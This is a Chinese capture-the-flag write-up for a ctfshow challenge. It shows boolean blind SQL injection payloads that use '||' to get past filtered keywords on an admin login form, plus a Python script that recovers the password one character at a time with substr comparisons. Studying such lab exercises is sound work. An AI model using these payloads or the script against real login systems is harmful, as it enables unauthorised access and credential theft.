ctfshow 萌新记忆

1.后台

浏览了一下网页发现好像是个静态的,看robots.txt也没东西。随手试了一下admin结果进了一个登陆的界面。。。。运气真的ok。
在这里插入图片描述

随手登陆一下抓包。发现POST两个参数u&p。经过尝试,发现存在三种回显,密码错误,账号或密码错误,我要报警了,如果用单引号的话存在报错回显。
在这里插入图片描述
fuzz了一下,发现=,or,union,select,insert,update等敏感字符均被过滤。

2.bool盲注

虽然过滤了很多字符,但是没有过滤关键的’,所以,我们还是可以注入滴。union被过滤了但是有报错回显,这里我们可以bool盲注。虽然这里and,or都过滤了,我们可以使用||来代替or来实现一个bool的盲注。
使用payload:u='||'a'<'b'||'&p=1回显密码错误,因为’a’<'b’始终成立所以这里默认我们的账号正确了,使用u='||'a'>'b'||'&p=1回显账号/密码错误。
通过这,我们可以构建payload:u='||length(p)<1||'&p=1来猜测p字段的长度。经过手动。。。。发现长度为17。
接下来就是一个字符一个字符的猜测,这里手动不了了,写个jio本。

import requests
import re
url='http://ea435a5c-4332-4858-b1d5-17b12c3d38e5.challenge.ctf.show/admin/checklogin.php'
pp=[]
flag=''
for i in range(97,123):#生成字母列表
    pp.append(chr(i))
for i in range(1,18):
    for j in range(len(pp)):
        payload="'||substr(p,{},1)<'{}".format(i,pp[j])
        data = {
            'u': payload,
            'p': 1
        }
        res = requests.post(url=url, data=data)
        if "密码错误" == res.text:
            flag += pp[j-1]
            print(flag)
            break

跑一发,成功拿到密码,登陆!
在这里插入图片描述
在这里插入图片描述
登陆之后直接拿到flag了。

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值